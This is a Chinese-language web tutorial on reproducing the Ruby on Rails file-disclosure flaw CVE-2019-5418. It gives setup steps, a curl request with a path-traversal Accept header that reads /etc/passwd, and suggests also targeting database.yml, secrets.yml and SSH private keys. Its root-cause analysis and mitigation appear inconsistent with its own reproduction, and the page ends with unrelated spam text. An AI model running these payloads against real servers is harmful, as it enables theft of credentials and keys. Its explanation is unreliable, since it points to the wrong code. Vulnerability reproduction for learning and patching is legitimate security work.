溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Ruby On Rails漏洞cve-2019-5418復現怎么進行

發布時間:2021-12-29 17:38:51 來源:億速云 閱讀:227 作者:柒染 欄目:網絡管理
# Ruby On Rails漏洞CVE-2019-5418復現指南

## 漏洞概述
CVE-2019-5418是Ruby on Rails框架中的一個高危漏洞,影響多個Rails版本。該漏洞源于開發模式下的**文件內容泄露**問題,攻擊者可通過精心構造的請求讀取服務器上的任意文件(包括敏感配置文件、數據庫憑證等)。

**受影響版本**:
- Rails 5.2.2及之前版本
- Rails 6.0.0.beta3及之前版本

## 環境準備
### 1. 搭建漏洞環境
```bash
# 安裝指定版本Rails(示例使用5.2.1)
gem install rails -v 5.2.1
rails new vulnerable_app --skip-bundle
cd vulnerable_app
bundle install

2. 創建測試控制器

# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
  def index
    render file: "#{Rails.root}/public/index.html"
  end
end

漏洞復現步驟

步驟1:啟動開發服務器

rails s -b 0.0.0.0 -p 3000

步驟2:構造惡意請求

使用curl發送包含特殊Accept頭的請求:

curl -H "Accept: ../../../../../../../../etc/passwd{{" http://localhost:3000/welcome/index

或通過瀏覽器開發者工具添加請求頭:

Accept: text/html,../../../../../../../../etc/passwd{{

步驟3:驗證結果

成功利用時,服務器將返回/etc/passwd文件內容而非預期的HTML頁面。

漏洞原理分析

漏洞核心在于ActionDispatch::FileHandler的文件路徑處理: 1. Rails開發模式下會使用ActionDispatch::DebugExceptions中間件 2. 當請求包含異常Accept頭時,路徑清理邏輯失效 3. ::File.read直接讀取未過濾的路徑參數

關鍵問題代碼:

# actionpack/lib/action_dispatch/http/parameters.rb
def path_parameters
  @env[PARAMETERS_KEY] ||= begin
    params = begin
      request.parameters
    rescue => e
      ...
    end
    params.merge!(path_info_parameters)
  end
end

修復方案

官方補丁

升級至以下版本: - Rails 5.2.2.1 - Rails 6.0.0.beta4

臨時緩解措施

config/environments/development.rb中添加:

config.action_dispatch.debug_exceptions = false

擴展利用

除系統文件外,還可嘗試讀?。?- config/database.yml - config/secrets.yml - ~/.ssh/id_rsa

注意事項

  1. 復現需在開發環境(RLS_ENV=development)
  2. 避免在生產環境測試
  3. 使用虛擬機或容器隔離測試環境

參考資源

”`

注:實際復現時請確保遵守法律法規,僅在授權環境下進行測試。本文檔僅供學習網絡安全技術使用。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女